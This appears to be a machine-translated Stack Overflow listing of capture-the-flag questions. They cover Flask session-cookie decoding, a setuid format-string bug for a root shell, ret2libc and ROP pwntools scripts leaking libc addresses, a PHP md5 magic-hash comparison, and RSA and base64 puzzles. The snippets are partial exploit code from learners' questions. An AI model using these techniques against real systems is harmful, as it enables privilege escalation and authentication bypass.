标签: ctf

有没有办法从正在运行的脚本中隐藏 python 语言版本?

我正在考虑创建一个编码难题,其要点是不同版本的 python 的行为不同。为此,我想防止玩家提供的 python 脚本轻易地找出 python 版本。

我认为这些方法很微不足道

  • 调用函数或读取变量来获取版本。例如来自sys
  • 从环境变量中读取版本
  • 找出python安装路径并找到那里的版本

如果真的可以完全隐藏它,我会感到惊讶,因为 python 解释器必然需要能够访问它自己的文件。但就我的目的而言,让阅读版本变得比确定不同版本行为更困难就足够了。我怎样才能通过合理的努力做到这一点?

我愿意对发行版进行猴子修补,完全搞乱机器中的一些文件,甚至可能用不同的版本号自己构建 python 源,或者审计挂钩可能会有所帮助(在较新的版本中)。但我不清楚我到底需要注意什么。

python ctf

6
推荐指数
1
解决办法
156
查看次数

Flask 会话 Cookie 篡改

我正在参加 CTF 竞赛,并在尝试操作 Flask 会话 cookie 时遇到了问题。

具体来说,我能够使用Flask Session Cookie Decoder/Encoder成功解码它(无需密钥):

python flask_session_cookie_manager3.py decode -c ".eJwtjkGKAzEMBL-S9TkHy5Yte96wP1jCIEvyJmxIYDxzCvn7-pBTUw1N18ut_c7jasMtPy932me4cYjYGO7svp-_t8fpw_24f7nL-3Kem83G1S37dtikm7rFQUJBRSOL1GKWVCoRC3ED7VAz9FKsVi9aO2RgJmgSi88VuQCmXghjaRZjSCqBDTm3qE1LAh8bGnuG3jAHCV4iZlAoPkhiAGghT9v1GLZ9bCbK2Pq6P__sMQuev2ZcKQFkMinJWhRSqB4hYyWv2oWre_8D5vtQyA.ZTUbZQ.erv_yZmYg44tiaJ0u8fqKailHUc"
Run Code Online (Sandbox Code Playgroud)

如下所示:

b'{"_flashes":[{" t":["success","Login successful!"]}],"_fresh":true,"_id":"154c4d4e7e37b36c58977ac7ab1df1961f88e990cd9f161aa71bc380694a8145f87438be3325dc2ae4a6b3dbd85103b4ea0a1fb462c20c3461d1802c5a111b26","_user_id":"1","csrf_token":"acd9eea9751167ec85eb3c7d1904164970ddfca9"}'
Run Code Online (Sandbox Code Playgroud)

但当我尝试操纵它并再次签名时,我发现我必须使用原始密钥。

这是为什么?

sha1 session-cookies flask ctf

5
推荐指数
2
解决办法
486
查看次数

Setuid二进制文件通过覆盖%n来生成根外壳,不适用于漏洞利用,但在不需要漏洞利用时起作用

我有一个Setuid二进制文件,该文件具有一个printf格式字符串漏洞,应该与“%n”一起利用它来覆盖authenticated全局变量的值。使用/ bin / bash时authenticated = 1,使用root Setuid权限可以执行/ bin / bash ,但authenticated = 0使用exploit时则不能。

我已经尝试过ls并且可以正常工作,所以exec正在发生。我也尝试过authenticated = 1在源代码中进行制作,因此它可以自动运行bash而不会被利用。这适用于生成根外壳。使用漏洞利用程序时,程序将按预期方式调用授予访问权限的功能,但在exec处结束,并且永远不会达到错误。但是,父进程死了,这意味着bash的执行程序一定已经发生。Bash必须正在执行,但是它在启动时崩溃/退出。

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <errno.h>

int authenticated = 0;


void read_flag() {
  if (!authenticated) {
    printf("Sorry, you are not *authenticated*!\n");
  }
  else {
    printf("Access Granted.\n");
    int cpid = fork();
    if(cpid == 0){
      printf("child!\n");
      execlp("/bin/bash", "bash", NULL);
      perror("error");
    }
    else{
      wait(NULL);
    } …
Run Code Online (Sandbox Code Playgroud)

c linux bash setuid ctf

4
推荐指数
1
解决办法
189
查看次数

ret2libc 攻击中出现段错误,但未硬编码系统调用

我有以下原恒星挑战

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[BUFFSIZE];
  char flagBuffer[64];
  FILE *fp;
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xff000000) == 0xff000000) {
    printf("bzzzt (%p)\n", ret);
    _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{

  getpath();

}
Run Code Online (Sandbox Code Playgroud)

并将其编译为 64 位

gcc stack5.c -DBUFFSIZE=64 -no-pie -fno-stack-protector -O0 -o stack5
Run Code Online (Sandbox Code Playgroud)

我正在使用 pwntools 来制作我的漏洞利用程序。这是我的exploit.py 文件

from pwn import *

exe = './stack5'

context.clear(arch='amd64')
context.kernel = 'amd64' …
Run Code Online (Sandbox Code Playgroud)

c segmentation-fault ctf

4
推荐指数
1
解决办法
3782
查看次数

寄存器AL和AX溢出到哪里?

请告诉我以下汇编(伪)代码的结果是什么?
我们已经设置寄存器的所有位EAX为0,这样反过来我们也有AHALAX为0。但是,当我减去最低位AL,我们将采取补和补充,给我们一堆1秒,随后一0。

XOR eax, eax
SUB al 0x01
Run Code Online (Sandbox Code Playgroud)

因此,总而言之,我的问题是在执行上述代码时,将AL充满1,或者也将延续到AXEAX

x86 assembly integer-overflow cpu-registers ctf

3
推荐指数
1
解决办法
65
查看次数

我如何检查 base64 字符串是否是文件(什么类型?)?

我在https://2020.ractf.co.uk/上接受了 Spentalkux 挑战。这是我第一次进行 CTF 挑战,所以我在https://github.com/W3rni0/RACTF_2020/blob/master/readme.md#spentalkux上找到了解决方案

当我收到这个 base64 字符串时:

JA2HGSKBJI4DSZ2WGRAS6KZRLJKVEYKFJFAWSOCTNNTFCKZRF5HTGZRXJV2EKQTGJVTXUOLSIMXWI2KYNVEUCNLIKN5HK3RTJBHGIQTCM5RHIVSQGJ3C6MRLJRXXOTJYGM3XORSIJN4FUYTNIU4XAULGONGE6YLJJRAUYODLOZEWWNCNIJWWCMJXOVTEQULCJFFEGWDPK5HFUWSLI5IFOQRVKFWGU5SYJF2VQT3NNUYFGZ2MNF4EU5ZYJBJEGOCUMJWXUN3YGVSUS43QPFYGCWSIKNLWE2RYMNAWQZDKNRUTEV2VNNJDC43WGJSFU3LXLBUFU3CENZEWGQ3MGBDXS4SGLA3GMS3LIJCUEVCCONYSWOLVLEZEKY3VM4ZFEZRQPB2GCSTMJZSFSSTVPBVFAOLLMNSDCTCPK4XWMUKYORRDC43EGNTFGVCHLBDFI6BTKVVGMR2GPA3HKSSHNJSUSQKBIE
Run Code Online (Sandbox Code Playgroud)

我不知道如何检查它是否是一个文件,但解算器说它是一个 gz 压缩数据文件。

你能帮我吗? 详细信息在这里

文件链接:https://github.com/W3rni0/RACTF_2020/blob/master/assets/files/Spentalkux.gz

base64 decode base32 ctf

3
推荐指数
1
解决办法
6764
查看次数

CTF挑战base64

我目前正在尝试解决这个 CTF 挑战:

\n
Let\'s play a game:\n(ZuwbhdMNQDddJEi4DI/w8A==,5RdUneHRRHl+YWAeXlwHZg==,pve6H1uvrdoPgXLjD83FhzD300SSA09eEqDgSPfToJB2JKdQt3Xhxgrha5uv97SFEdncwK0nx6T/WIc8Zitkjwnibah5ORGk5ofzWV9l43N0csZx16KLKDh21xmjN/5ff0lvAjcwCaD9zgencQNUscpuu2Cn5H3BspzlMGdNjXjEEneMNkRY37Y6HcXlQMiXZAzlLtyDYRiMraA8hnKxvwDGMz0ohhMfuvCwek1/wgrWUG/OmBzKY/AoZrG6mqrCVz9KteHaRdoLf7Dc2irV2zR/4HVZBctOP9Ffq7GTBho8QdWVpGIhC23xcpXdPGQGApiv/6wJSXmsct79BcERqzTvUuDEEbieZoc9aCXCWgsnZgOMo3ncuMVB65qB9gycEl5G1mDQZ2paNDbHz+8NWzThUjkcEtLhGmocf4/wsLI=)\n
Run Code Online (Sandbox Code Playgroud)\n

您可以在此处访问挑战网页,但请注意,它是波兰语,可能需要翻译才能更好地理解。

\n

我相信这是某种形式的 base64 编码,我尝试对其进行解码,但结果是一个随机字符串:

\n
f\n@7]$H\nTDy~a`^\\f\n[r\xc5\x870DO^H\xd3\xa0v$Pu\nk\'\xc7\xa4X<f+d    my9Y_estrq\xd7\xa2(8v7_Io70    qTn`}0gMxw6DX\xdf\xb6:@\xc8\x97d.\xdc\x83a<r\xef\xbf\xbd3=(zM\nPo\xce\x98c(fW?JE*4uYN?_<A\xd5\x95b!mr<d  Iyr4Rf=h%Z\'fy\xdc\xb8A\xeb\x9a\x81^F`gjZ46\n[4R9j\n
Run Code Online (Sandbox Code Playgroud)\n

看来我做错了什么,但我不确定是什么或为什么。您能否提供帮助来解决和理解这一挑战?

\n

encryption base64 ctf

3
推荐指数
1
解决办法
1663
查看次数

x64 中的堆栈对齐不是 16 字节?

我尝试了这段代码:

\n
#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nfrom pwn import *\n\nelf = context.binary = ELF(args.EXE or 'callme')\nlibc = elf.libc\nrop = ROP([elf, libc])\npop_rdi = p64(0x00000000004009a3)\nret = p64(0x00000000004006be)\n\ndef start(argv=[], *a, **kw):\n    '''Start the exploit against the target.'''\n    if args.GDB:\n        return gdb.debug([elf.path] + argv, gdbscript=gdbscript, *a, **kw)\n    else:\n        return process([elf.path] + argv, *a, **kw)\n\ngdbscript = '''\nbreak *pwnme+89\ncontinue\n'''.format(**locals())\n\noffset = b'A' * 40\n\n'''\n1. print a leak to the address in libc in puts()'s GOT\n2. grab that leak, calculate system and '/bin/sh'\n3. call it. GG\n'''\n\nrop.raw(offset)\nrop.call('puts', [elf.got['puts']])\nrop.call('main')\n\n\n\nio …
Run Code Online (Sandbox Code Playgroud)

python assembly stack x86-64 ctf

1
推荐指数
1
解决办法
90
查看次数

为什么这个 PHP 比较不会返回 True

为什么这个 PHP 比较它不会返回 True 有没有办法让它返回 true ?

<?php

highlight_file(__FILE__);
error_reporting(0);
$first = $_GET['first_flag'];

echo ' :: ' . md5($first);
echo ' :: ' . $first ."<br/>";

if($first == md5($first)){
    echo "True";
}else {
    echo "False";
}


?>
Run Code Online (Sandbox Code Playgroud)

当我放置 QNKCDZO 时,它返回:

:: 0e830400451993494058024219903391 :: QNKCDZO 假

php ctf

-3
推荐指数
1
解决办法
129
查看次数

x 的值是多少,使得 x + 1 == x 和 x * 2 == x 都为真?

标题基本上说明了一切。我的朋友给了我这个作为他在他正在做的一些 CTF 中解决的挑战。我想了一会儿,想不通。此外,INFINITY 不是一个有效的答案。谢谢。

c types ctf

-4
推荐指数
2
解决办法
159
查看次数

CTF RSA 解密使用 N, c, e

给出 N, e, c 如下:

n = 35390004486354300347521848565413257959442624589297688131017877221807025004928966206454752329594506530598099849274956709610488234955109039874355077958460196991750855650029096905451

e = 65537

c = 34976328528100445602888072790831380493399287679380757676967266152942525578548886648293955777757882335796410272725253490310142371251759362170135820927390507970457244397459500624458
Run Code Online (Sandbox Code Playgroud)

我尝试了几种方法来解密它,比如factordbyafu甚至发现了一个类似的问题,它被RsaCtfTool解决了。也许我的电脑的性能很糟糕......有人可以帮忙吗?非常感谢!

encryption cryptography rsa ctf

-5
推荐指数
1
解决办法
9386
查看次数